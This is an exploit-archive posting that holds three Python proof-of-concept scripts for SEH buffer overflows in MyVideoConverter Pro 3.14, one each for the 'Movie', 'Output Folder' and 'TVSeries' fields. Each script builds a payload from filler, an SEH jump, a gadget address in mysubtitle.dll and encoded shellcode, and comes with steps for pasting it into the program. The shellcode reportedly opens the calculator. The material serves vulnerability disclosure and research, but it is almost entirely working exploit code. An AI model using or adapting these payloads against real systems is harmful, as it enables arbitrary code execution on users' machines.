exploit the possibilities

MyVideoConverter Pro 3.14 Buffer Overflow

MyVideoConverter Pro 3.14 Buffer Overflow
Posted Feb 12, 2020
Authored by ZwX

MyVideoConverter Pro version 3.14 suffers from multiple buffer overflow vulnerabilities.

tags | exploit, overflow, vulnerability
MD5 | a240dce116ac377cc31e0e4373498715

MyVideoConverter Pro 3.14 Buffer Overflow

Change Mirror Download
#Exploit Title: MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-11
#Vendor Homepage : http://www.ivideogo.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "Shell.txt".
#2. Just copy the text inside "Shell.txt".
#3. Start the program. In the new window click "Add" > "Convert DVD" > "Movie" .
#4. Now paste the content of "Shell.txt" into the field: "Video Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x1004f3e3)
#0x1004f3e3 : pop ebx # pop esi # ret | {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode = ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
f=open("Shell.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


#Exploit Title: MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-11
#Vendor Homepage : http://www.ivideogo.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "exploit.txt".
#2. Just copy the text inside "exploit.txt".
#3. Start the program. In the new window click "Options" > "Settins" .
#4. Now paste the content of "exploit.txt" into the field: "Output Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10045ebb)
#0x10045ebb : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode = ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


# Exploit Title: MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2020-02-11
# Vendor Homepage : http://www.ivideogo.com/
# Tested on OS: Windows 10 v1803
# Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "Shell.txt".
#2. Just copy the text inside "Shell.txt".
#3. Start the program. In the new window click "Add" > "Convert DVD" > "TVSeries" .
#4. Now paste the content of "Shell.txt" into the field: "Video Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10039291)
#0x10039291 : pop ecx # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode = ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
f=open("Shell.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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